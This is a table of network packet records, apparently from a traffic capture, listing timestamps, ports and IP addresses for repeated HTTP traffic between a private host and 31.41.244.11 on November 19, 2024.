Nov 19, 2024 22:07:09.362399101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362400055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362416983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362433910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362436056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362451077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362469912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362472057 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362502098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362509012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362521887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362551928 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362555027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362571955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362585068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362590075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362607002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362637997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362637997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362638950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362658024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362689972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362711906 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362735033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362745047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362778902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362795115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362828016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362847090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362870932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362886906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362905025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362921953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362929106 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362940073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362950087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362971067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.362972975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362989902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.362999916 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363007069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363013983 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363050938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363054037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363071918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363089085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363095045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363107920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363114119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363133907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363137007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363162994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363168001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363184929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363189936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363202095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363225937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363234997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363251925 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363266945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363289118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363333941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363336086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363349915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363377094 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363385916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363425970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363445044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363462925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363496065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363522053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363533020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363539934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363564014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363573074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363588095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363617897 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363658905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363701105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363718033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363751888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363759041 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363791943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363811970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363845110 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363854885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363876104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363888979 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363907099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.363913059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.363981962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364029884 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364079952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364094973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364104033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364134073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364136934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364160061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364167929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364183903 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364212036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364213943 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364233017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364249945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364273071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364305019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364309072 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364324093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364342928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364347935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364361048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364378929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364386082 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364397049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364413023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364422083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364445925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364447117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364464998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364511013 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364511013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364531040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364547968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364562035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364564896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364603043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364626884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364644051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364650965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364661932 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364671946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364681005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364698887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364710093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364716053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364732981 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364741087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364752054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364767075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364768028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364784956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364801884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364816904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364819050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364855051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364866972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364878893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364898920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364917040 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364917040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364944935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364948988 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364967108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.364969015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364989996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.364999056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365011930 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365032911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365046978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365073919 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365077972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365094900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365135908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365139961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365173101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365190029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365192890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365221977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365238905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365240097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365271091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365286112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365303040 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365303993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365329027 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365338087 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365351915 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365370989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365381956 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365403891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365415096 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365417957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365448952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365475893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365494013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365508080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365519047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365546942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365555048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365593910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365638018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365639925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365700006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365712881 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365717888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365736008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365753889 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365771055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365772963 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365789890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365806103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365823984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365843058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365870953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365888119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365889072 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365902901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365910053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365921974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365948915 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.365968943 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.365971088 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366014957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366030931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366030931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366050959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366054058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366076946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366097927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366111994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366116047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366143942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366175890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366192102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366209030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366226912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366240025 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366244078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366261005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366275072 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366285086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366292953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366309881 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366326094 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366327047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366347075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366353035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366364002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366377115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366383076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366400957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366417885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366426945 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366465092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366466045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366497040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366507053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366539955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366559029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366604090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366632938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366652966 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366662979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366681099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366708040 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366733074 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366754055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366786003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366801977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366841078 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366863012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366866112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366899014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366915941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366934061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366951942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366980076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.366986990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.366997957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367016077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367022991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367032051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367057085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367065907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367084026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367113113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367124081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367130995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367145061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367178917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367182970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367212057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367225885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367244005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367255926 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367288113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367325068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367341042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367358923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367377996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367398024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367525101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367542982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367559910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367575884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367578030 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367593050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367610931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367618084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367626905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367643118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367655993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367660999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367676973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367695093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367706060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367711067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367736101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367743969 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367753029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367768049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367773056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367790937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367803097 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367808104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367826939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367844105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367845058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367865086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367880106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367883921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367909908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.367942095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367959023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.367976904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368010044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368011951 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368029118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368037939 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368046999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368065119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368077993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368109941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368127108 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368128061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368146896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368155003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368165970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368184090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368192911 CET	49864	80	192.168.2.4	31.41.244.11
